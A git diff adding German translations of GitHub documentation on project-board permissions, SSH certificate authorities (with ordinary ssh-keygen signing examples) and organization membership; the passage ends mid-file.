+![Optionen für Baseline-Projektboardberechtigungen für alle Organisationsmitglieder](/assets/images/help/projects/baseline-project-permissions-for-organization-members.png)
+9. Klicken Sie auf **Speichern**.
+
+## Weiterführende Themen
+
+- [Verwalten des Zugriffs einer Einzelperson auf das {% data variables.product.prodname_project_v1 %} einer Organisation](/articles/managing-an-individual-s-access-to-an-organization-project-board)
+- [Verwalten des Teamzugriffs auf das {% data variables.product.prodname_project_v1 %} einer Organisation](/articles/managing-team-access-to-an-organization-project-board)
+- [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization)
diff --git a/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md
new file mode 100644
index 0000000000..18f5ad9c2b
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-an-individuals-access-to-an-organization-project-board.md
@@ -0,0 +1,54 @@
+---
+title: 'Verwalten des Zugriffs einer Einzelperson auf das {% data variables.product.prodname_project_v1 %} einer Organisation'
+intro: 'Als Organisationsbesitzer*in oder {% data variables.projects.projects_v1_board %}administrator*in kannst du den Zugriff einzelner Mitglieder auf ein organisationseigenes {% data variables.projects.projects_v1_board %} verwalten.'
+redirect_from:
+  - /articles/managing-an-individual-s-access-to-an-organization-project-board
+  - /articles/managing-an-individuals-access-to-an-organization-project-board
+  - /github/setting-up-and-managing-organizations-and-teams/managing-an-individuals-access-to-an-organization-project-board
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage individual access
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: ceecfd317322f65541591f833c04f86d5b483c0e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109534'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% note %}
+
+**Hinweis:** {% data reusables.project-management.cascading-permissions %} Weitere Informationen findest du unter [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization). 
+
+{% endnote %}
+
+## Erteilen von Zugriff auf ein {% data variables.projects.projects_v1_board %} für Organisationsmitglieder
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Klicke auf **Projekte (klassisch)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %}
+9. Gib unter „Search by username, full name or email address“ (Nach Benutzernamen, vollständigem Namen oder E-Mail-Adresse suchen) den Namen, den Benutzernamen oder die {% data variables.product.prodname_dotcom %}-E-Mail-Adresse des Mitarbeiters ein.
+   ![Abschnitt „Mitarbeiter“ mit dem im Suchfeld eingegebenen Oktocat-Benutzernamen](/assets/images/help/projects/org-project-collaborators-find-name.png) {% data reusables.project-management.add-collaborator %} {% data reusables.project-management.collaborator-permissions %}
+
+## Ändern des Zugriffs eines Organisationsmitglieds auf ein {% data variables.projects.projects_v1_board %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Klicke auf **Projekte (klassisch)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.collaborator-permissions %}
+
+## Entfernen des Zugriffs eines Organisationsmitglieds auf ein {% data variables.projects.projects_v1_board %}
+
+Wenn du einen Mitarbeiter aus einem {% data variables.projects.projects_v1_board %} entfernst, kann er je nach den Berechtigungen seiner anderen Rollen möglicherweise dennoch weiterhin auf das Board zugreifen. Um den Zugriff auf ein {% data variables.projects.projects_v1_board %} komplett zu verhindern, musst du den Zugriff für jede Rolle dieses Mitarbeiters entfernen. Eine Person kann beispielsweise als Organisationsmitglied oder Teammitglied Zugriff auf das {% data variables.projects.projects_v1_board %} haben. Weitere Informationen findest du unter [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization).
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Klicke auf **Projekte (klassisch)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.remove-collaborator %}
+
+## Weiterführende Themen
+
+- [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization)
diff --git a/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md
new file mode 100644
index 0000000000..268a1181f1
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board.md
@@ -0,0 +1,68 @@
+---
+title: 'Verwalten des Teamzugriffs auf das {% data variables.product.prodname_project_v1 %} einer Organisation'
+intro: 'Als Organisationsbesitzer*in oder {% data variables.projects.projects_v1_board %}administrator*in kannst du Teamzugriff für ein organisationseigenes {% data variables.projects.projects_v1_board %} erteilen.'
+redirect_from:
+  - /articles/managing-team-access-to-an-organization-project-board
+  - /github/setting-up-and-managing-organizations-and-teams/managing-team-access-to-an-organization-project-board
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage team access
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: c49fab76bbf286f865e3845356213bc1af18b20a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109457'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% warning %}
+
+**Warnungen:**
+- Du kannst die Berechtigungsstufe eines Teams ändern, wenn das Team direkten Zugriff auf ein {% data variables.projects.projects_v1_board %} hat. Wenn der Zugriff des Teams auf das {% data variables.projects.projects_v1_board %} von einem übergeordneten Team geerbt wird, musst du den Zugriff des übergeordneten Teams auf das {% data variables.projects.projects_v1_board %} ändern.
+- Wenn du Zugriff auf ein {% data variables.projects.projects_v1_board %} für ein übergeordnetes Team hinzufügst oder entfernst, erhalten alle ihm untergeordneten Teams ebenfalls Zugriff auf das {% data variables.projects.projects_v1_board %}. Weitere Informationen findest du unter [Informationen zu Teams](/articles/about-teams).
+
+{% endwarning %}
+
+## Erteilen von Teamzugriff auf ein {% data variables.projects.projects_v1_board %}
+
+Du kannst einem gesamten Team dieselbe Berechtigungsstufe für ein {% data variables.projects.projects_v1_board %} zuweisen.
+
+{% note %}
+
+**Hinweis**: {% data reusables.project-management.cascading-permissions %} Wenn ein(e) Organisationsbesitzer*in beispielsweise einem Team Leseberechtigungen für ein {% data variables.projects.projects_v1_board %} erteilt hat und ein(e) {% data variables.projects.projects_v1_board %}administrator*in einem Mitglied dieses Teams individuelle Administratorberechtigungen für dieses Projektboard zuweist, besitzt diese Person Administratorberechtigungen für das {% data variables.projects.projects_v1_board %}. Weitere Informationen findest du unter [{% data variables.product.prodname_project_v1_caps %}-Berechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization).
+
+{% endnote %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Klicke auf **Projekte (klassisch)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %}
+8. Klicke auf der linken Randleiste auf **Teams**.
+9. Wenn du ein Team hinzufügen möchtest, klicke auf **Team hinzufügen: Team auswählen**. Wähle dann ein Team im Dropdownmenü aus, oder suche nach dem Team, das du hinzufügen möchtest.
+ ![Dropdownmenü zum Hinzufügen von Teams mit einer Liste der Teams in der Organisation](/assets/images/help/projects/add-a-team.png)
+10. Verwende das Dropdownmenü neben dem Teamnamen, um die gewünschte Berechtigungsstufe auszuwählen: **Lesen**, **Schreiben** oder **Administrator**. ![Dropdownmenü „Teamberechtigungen“ mit den Optionen „Lesen“, „Schreiben“ und „Administrator“](/assets/images/help/projects/org-project-team-choose-permissions.png)
+
+## Konfigurieren von Teamzugriff auf ein {% data variables.projects.projects_v1_board %}
+
+Wenn der Zugriff eines Teams auf das {% data variables.projects.projects_v1_board %} von einem übergeordneten Team geerbt wird, musst du den Zugriff des übergeordneten Teams auf das {% data variables.projects.projects_v1_board %} ändern, um den Zugriff der untergeordneten Teams zu aktualisieren.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %}
+4. Klicke oberhalb der Unterhaltung des Teams auf {% octicon "project" aria-label="The Projects icon" %} **Projekte**.
+  ![Registerkarte mit Teamrepositorys](/assets/images/help/organizations/team-project-board-button.png)
+5. Zum Ändern der Berechtigungsstufen verwende das Dropdownmenü rechts neben dem zu aktualisierenden {% data variables.projects.projects_v1_board %}. Wenn du ein {% data variables.projects.projects_v1_board %} entfernen möchtest, klicke auf **{% octicon "trash" aria-label="The trash icon" %}** .
+  ![Papierkorbschaltfläche zum Entfernen eines Projektboards aus dem Team](/assets/images/help/organizations/trash-button.png)
+
+{% ifversion projects-v2-add-to-team %}
+
+## Weitere Informationsquellen
+
+- [Hinzufügen deines Projekts zu einem Team](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team)
+
+
+{% endif %}
diff --git a/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md
new file mode 100644
index 0000000000..f8f51b7546
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization.md
@@ -0,0 +1,56 @@
+---
+title: '{% data variables.product.prodname_project_v1_caps %}berechtigungen für eine Organisation'
+intro: 'Organisationsbesitzer und Personen mit {% data variables.projects.projects_v1_board %}-Administratorberechtigungen können anpassen, wer Lese-, Schreib- und Administratorberechtigungen für die {% data variables.projects.projects_v1_boards %} deiner Organisation hat.'
+redirect_from:
+  - /articles/project-board-permissions-for-an-organization
+  - /github/setting-up-and-managing-organizations-and-teams/project-board-permissions-for-an-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: '{% data variables.product.prodname_project_v1_caps %} permissions'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: fbc3ec7db52d6b4a417a4e9e93aea9ae717e2fca
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147614207'
+---
+{% data reusables.projects.project_boards_old %}
+
+## Zuweisen von Benutzerrollen und Berechtigungen
+
+Es gibt drei Berechtigungsstufen für ein {% data variables.projects.projects_v1_board %} für Personen und Teams:
+
+{% data reusables.project-management.project-board-permissions %}
+
+Organisationbesitzer*innen und Personen mit Administratorberechtigungen können einer Person den Zugriff auf ein {% data variables.projects.projects_v1_board %} der Organisation als Einzelperson, externe*r Mitarbeiter*in oder Organisationsmitglied oder über ihre Mitgliedschaft in einem Team oder einer Organisation gewähren. Externe Mitarbeiter*innen sind Personen, die kein Organisationsmitglied sind, aber die Berechtigungen für die Mitarbeit in deiner Organisation besitzen.
+
+Organisationsbesitzer*innen und Personen mit Administratorberechtigungen für ein {% data variables.projects.projects_v1_board %} können auch:
+- Standardberechtigungen für das Projektboard für alle Organisationsmitglieder festlegen
+- den Zugriff auf das Projektboard für Organisationsmitglieder, Teams und externe Mitarbeiter verwalten Weitere Informationen findest du unter [Verwalten des Teamzugriffs auf das {% data variables.product.prodname_project_v1 %} einer Organisation](/articles/managing-team-access-to-an-organization-project-board), [Verwalten des Zugriffs einer Einzelperson auf das {% data variables.product.prodname_project_v1 %} einer Organisation ](/articles/managing-an-individual-s-access-to-an-organization-project-board) oder [Verwalten des Zugriffs auf ein {% data variables.product.prodname_project_v1 %} für Organisationsmitglieder](/articles/managing-access-to-a-project-board-for-organization-members).
+- die Sichtbarkeit des Projektboards verwalten Weitere Informationen findest du unter [Verwalten des Zugriffs auf ein {% data variables.product.prodname_project_v1 %} für Organisationsmitglieder](/articles/managing-access-to-a-project-board-for-organization-members).
+
+## Kaskadierende Berechtigungen für {% data variables.projects.projects_v1_boards %}
+
+{% data reusables.project-management.cascading-permissions %}
+
+Wenn ein*e Organisationsbesitzer*in z. B. allen Organisationsmitgliedern Leseberechtigungen für ein {% data variables.projects.projects_v1_board %} erteilt hat und ein*e {% data variables.projects.projects_v1_board %}administrator*in einem Organisationsmitglied für dieses Board Schreibberechtigungen als einzelne*r Mitarbeiter*in erteilt, hätte diese Person Schreibberechtigungen für das {% data variables.projects.projects_v1_board %}.
+
+## Sichtbarkeit von {% data variables.projects.projects_v1_board_caps %}s
+
+{% ifversion classic-project-visibility-permissions %}{% data reusables.projects.owners-can-limit-visibility-permissions %}{% endif %}
+
+{% data reusables.project-management.project-board-visibility %} Du kannst die Sichtbarkeit des {% data variables.projects.projects_v1_board %}s von privat in {% ifversion ghae %}intern{% else %}öffentlich{% endif %} und umgekehrt ändern. Weitere Informationen findest du unter [Ändern der Sichtbarkeit von {% data variables.product.prodname_project_v1 %}s](/articles/changing-project-board-visibility).
+
+## Weiterführende Themen
+
+- [Ändern der Sichtbarkeit von {% data variables.product.prodname_project_v1 %}s](/articles/changing-project-board-visibility).
+- [Verwalten des Zugriffs einer Einzelperson auf das {% data variables.product.prodname_project_v1 %} einer Organisation](/articles/managing-an-individual-s-access-to-an-organization-project-board)
+- [Verwalten des Teamzugriffs auf das {% data variables.product.prodname_project_v1 %} einer Organisation](/articles/managing-team-access-to-an-organization-project-board)
+- [Verwalten des Zugriffs auf ein {% data variables.product.prodname_project_v1 %} für Organisationsmitglieder](/articles/managing-access-to-a-project-board-for-organization-members).
diff --git a/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md
new file mode 100644
index 0000000000..b011678698
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/removing-an-outside-collaborator-from-an-organization-project-board.md
@@ -0,0 +1,27 @@
+---
+title: 'Entfernen externer Mitarbeiter*innen aus einem {% data variables.product.prodname_project_v1 %} einer Organisation'
+intro: 'Als Organisationsbesitzer*in oder {% data variables.projects.projects_v1_board %}administrator kannst du externe Mitarbeiter*innen aus einem {% data variables.projects.projects_v1_board %} entfernen.'
+redirect_from:
+  - /articles/removing-an-outside-collaborator-from-an-organization-project-board
+  - /github/setting-up-and-managing-organizations-and-teams/removing-an-outside-collaborator-from-an-organization-project-board
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Remove outside collaborator
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: ce2dd198d259473b775cf6a9bd61e494ad1c2717
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109462'
+---
+{% data reusables.projects.project_boards_old %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Klicke auf **Projekte (klassisch)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.remove-collaborator %}
diff --git a/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md b/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md
new file mode 100644
index 0000000000..99c980c99f
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md
@@ -0,0 +1,71 @@
+---
+title: About SSH certificate authorities
+intro: 'With an SSH certificate authority, your organization or enterprise account can provide SSH certificates that members can use to access your resources with Git.'
+redirect_from:
+  - /articles/about-ssh-certificate-authorities
+  - /github/setting-up-and-managing-organizations-and-teams/about-ssh-certificate-authorities
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: SSH certificate authorities
+---
+
+## About SSH certificate authorities
+
+An SSH certificate is a mechanism for one SSH key to sign another SSH key. If you use an SSH certificate authority (CA) to provide your organization members with signed SSH certificates, you can add the CA to your enterprise account or organization to allow organization members to use their certificates to access organization resources. 
+
+{% data reusables.organizations.ssh-ca-ghec-only %}
+
+After you add an SSH CA to your organization or enterprise account, you can use the CA to sign client SSH certificates for organization members. Organization members can use the signed certificates to access your organization's repositories (and only your organization's repositories) with Git. Optionally, you can require that members use SSH certificates to access organization resources. For more information, see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" and "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-ssh-certificate-authorities-for-your-enterprise)."
+
+For example, you can build an internal system that issues a new certificate to your developers every morning. Each developer can use their daily certificate to work on your organization's repositories on {% data variables.product.product_name %}. At the end of the day, the certificate can automatically expire, protecting your repositories if the certificate is later compromised.
+
+{% ifversion ghec %}
+Organization members can use their signed certificates for authentication even if you've enforced SAML single sign-on. Unless you make SSH certificates a requirement, organization members can continue to use other means of authentication to access your organization's resources with Git, including their username and password, {% data variables.product.pat_generic %}s, and their own SSH keys.
+{% endif %}
+
+Members will not be able to use their certificates to access forks of your repositories that are owned by their personal accounts. 
+
+## About SSH URLs with SSH certificates
+
+If your organization requires SSH certificates, to prevent authentication errors, organization members should use a special URL that includes the organization ID when performing Git operations over SSH. This special URL allows the client and server to more easily negotiate which key on the member's computer should be used for authentication. If a member uses the normal URL, which starts with `git@github.com`, the SSH client might offer the wrong key, causing the operation to fail.
+
+Anyone with read access to the repository can find this URL by selecting the **Code** dropdown menu on the main page of the repository, then clicking **Use SSH**.
+
+If your organization doesn't require SSH certificates, members can continue to use their own SSH keys, or other means of authentication. In that case, either the special URL or the normal URL, which starts with `git@github.com`, will work.
+
+## Issuing certificates
+
+When you issue each certificate, you must include an extension that specifies which {% data variables.product.product_name %} user the certificate is for. For example, you can use OpenSSH's `ssh-keygen` command, replacing _KEY-IDENTITY_ with your key identity and _USERNAME_ with a {% data variables.product.product_name %} username. The certificate you generate will be authorized to act on behalf of that user for any of your organization's resources. Make sure you validate the user's identity before you issue the certificate.
+
+{% note %}
+
+**Note:** You must update to OpenSSH 7.6 or later to use these commands.
+
+{% endnote %}
+
+```shell
+$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME ./user-key.pub
+```
+
+{% warning %}
+
+**Warning**: After a certificate has been signed and issued, the certificate cannot be revoked. Make sure to use the -`V` flag to configure a lifetime for the certificate, or the certificate can be used indefinitely.
+
+{% endwarning %}
+
+To issue a certificate for someone who uses SSH to access multiple {% data variables.product.company_short %} products, you can include two login extensions to specify the username for each product. For example, the following command would issue a certificate for _USERNAME-1_ for the user's account for {% data variables.product.prodname_ghe_cloud %}, and _USERNAME-2_ for the user's account on {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} at _HOSTNAME_.
+
+```shell
+$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@github.com=USERNAME-1 extension:login@HOSTNAME=USERNAME-2 ./user-key.pub
+```
+
+You can restrict the IP addresses from which an organization member can access your organization's resources by using a `source-address` extension. The extension accepts a specific IP address or a range of IP addresses using CIDR notation. You can specify multiple addresses or ranges by separating the values with commas. For more information, see "[Classless Inter-Domain Routing](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation)" on Wikipedia.
+
+```shell
+$ ssh-keygen -s ./ca-key -V '+1d' -I KEY-IDENTITY -O extension:login@{% data variables.product.product_url %}=USERNAME -O source-address=COMMA-SEPARATED-LIST-OF-IP-ADDRESSES-OR-RANGES ./user-key.pub
+```
diff --git a/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/index.md b/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
new file mode 100644
index 0000000000..883493c4ee
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
@@ -0,0 +1,26 @@
+---
+title: Git-Zugriff auf die Repositorys Deiner Organisation verwalten
+intro: 'Du kannst Deiner Organisation eine SSH-Zertifizierungsstelle (CA) hinzufügen und erlauben, dass Mitglieder über Git mit den von der SSH-Zertifizierungsstelle signierten Schlüsseln auf die Repositorys der Organisation zugreifen können.'
+redirect_from:
+  - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities
+  - /articles/managing-git-access-to-your-organizations-repositories
+  - /github/setting-up-and-managing-organizations-and-teams/managing-git-access-to-your-organizations-repositories
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /about-ssh-certificate-authorities
+  - /managing-your-organizations-ssh-certificate-authorities
+shortTitle: Manage Git access
+ms.openlocfilehash: 6ef8cc587bda642e0eab5cce3fa2026adf54da53
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145130690'
+---
+{% data reusables.organizations.ssh-ca-ghec-only %}
diff --git a/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md b/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md
new file mode 100644
index 0000000000..b48a440a08
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-git-access-to-your-organizations-repositories/managing-your-organizations-ssh-certificate-authorities.md
@@ -0,0 +1,39 @@
+---
+title: Managing your organization's SSH certificate authorities
+intro: You can add or delete SSH certificate authorities from your organization.
+redirect_from:
+  - /articles/managing-your-organizations-ssh-certificate-authorities
+  - /github/setting-up-and-managing-organizations-and-teams/managing-your-organizations-ssh-certificate-authorities
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage SSH authorities
+permissions: Organization owners can manage an organization's SSH certificate authorities (CA).
+---
+
+You can allow members to access your organization's repositories using SSH certificates you provide by adding an SSH CA to your organization. {% data reusables.organizations.can-require-ssh-cert %} For more information, see "[About SSH certificate authorities](/articles/about-ssh-certificate-authorities)."
+
+{% data reusables.organizations.ssh-ca-ghec-only %}
+
+{% data reusables.organizations.add-extension-to-cert %}
+
+## Adding an SSH certificate authority
+
+If you require SSH certificates for your enterprise, enterprise members should use a special URL for Git operations over SSH. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities#about-ssh-urls-with-ssh-certificates)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.organizations.new-ssh-ca %}
+{% data reusables.organizations.require-ssh-cert %}
+
+## Deleting an SSH certificate authority
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.organizations.delete-ssh-ca %}
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md
new file mode 100644
index 0000000000..1e68d79431
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/adding-people-to-your-organization.md
@@ -0,0 +1,30 @@
+---
+title: Adding people to your organization
+intro: 'You can make anyone a member of your organization using their {% data variables.product.product_name %} username or email address.'
+redirect_from:
+  - /articles/adding-people-to-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/adding-people-to-your-organization
+versions:
+  ghes: '*'
+  ghae: '*'
+permissions: Organization owners can add people to an organization.
+shortTitle: Add people to organization
+---
+
+{% ifversion not ghae %}
+If your organization [requires members to use two-factor authentication](/articles/requiring-two-factor-authentication-in-your-organization), users must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization.
+{% endif %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.people %}
+{% data reusables.organizations.invite_member_from_people_tab %}
+{% data reusables.organizations.invite_to_org %}
+{% data reusables.organizations.choose-to-restore-privileges %}
+{% data reusables.organizations.choose-user-role %}
+{% data reusables.organizations.choose-user-license %}
+{% data reusables.organizations.add-user-to-teams %}
+{% data reusables.organizations.send-invitation %}
+
+## Further reading
+- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)"
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
new file mode 100644
index 0000000000..6f1a1f4aa8
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
@@ -0,0 +1,34 @@
+---
+title: Kann ich Konten für Personen in meiner Organisation erstellen?
+intro: 'Du kannst zwar Benutzer*innen zu einer von dir erstellten Organisation hinzufügen, aber darfst keine persönlichen Benutzerkonten im Auftrag einer anderen Person erstellen.'
+redirect_from:
+  - /articles/can-i-create-accounts-for-those-in-my-organization
+  - /articles/can-i-create-accounts-for-people-in-my-organization
+  - /github/setting-up-and-managing-organizations-and-teams/can-i-create-accounts-for-people-in-my-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Create accounts for people
+ms.openlocfilehash: 9ddbb857d86a3cada3f11a20a3ed1fab7bb263b8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145101508'
+---
+## Informationen zu persönlichen Konten
+
+Da der Zugriff auf eine Organisation durch die Anmeldung bei einem persönlichen Konto erfolgt, muss jedes Teammitglied ein persönliches Konto erstellen. Wenn du die Benutzernamen aller Personen hast, die du deiner Organisation hinzufügen möchtest, kannst du die Benutzer Teams hinzufügen.
+
+{% ifversion fpt or ghec %} {% ifversion fpt %}Organisationen, die {% data variables.product.prodname_ghe_cloud %} verwenden, können{% else %}Du kannst{% endif %} SAML Single Sign-On verwenden, um den Zugriff persönlicher Konten auf die Ressourcen der Organisation über einen Identitätsanbieter (IdP) zentral zu verwalten. Weitere Informationen findest du unter [Informationen zur Identitäts- und Zugriffsverwaltung mit SAML Single Sign-On (SSO)](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %} in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.{% else %}.{% endif %}
+
+Du kannst auch {% data variables.product.prodname_emus %} in Erwägung ziehen. {% data reusables.enterprise-accounts.emu-short-summary %} {% endif %}
+
+## Benutzer zu deiner Organisation hinzufügen
+
+1. Stelle allen Personen Anweisungen zum [Erstellen eines persönlichen Kontos](/articles/signing-up-for-a-new-github-account) zur Verfügung.
+2. Frage alle Personen, die Mitglied deiner Organisation werden sollen, nach ihrem Benutzernamen.
+3. [Lade die neuen persönlichen Konten ein, deiner Organisation beizutreten](/articles/inviting-users-to-join-your-organization). Verwende [Organisationsrollen](/articles/permission-levels-for-an-organization) und [Repositoryberechtigungen](/articles/repository-permission-levels-for-an-organization), um den Zugriff auf Konten einzuschränken.
diff --git a/translations/de-DE/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md b/translations/de-DE/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md
new file mode 100644
index 0000000000..5e4d99ba9d
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-membership-in-your-organization/canceling-or-editing-an-invitation-to-join-your-organization.md
@@ -0,0 +1,37 @@
+---
+title: Eine Einladung zum Beitritt zu deiner Organisation abbrechen oder bearbeiten
+intro: 'Organisationsinhaber*innen können eine Einladung zum Beitritt zu deiner Organisation jederzeit abbrechen oder bearbeiten, solange der Benutzer oder die Benutzerin sie noch nicht angenommen hat.'
+redirect_from:
+  - /articles/canceling-or-editing-an-invitation-to-join-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/canceling-or-editing-an-invitation-to-join-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Cancel or edit invitation
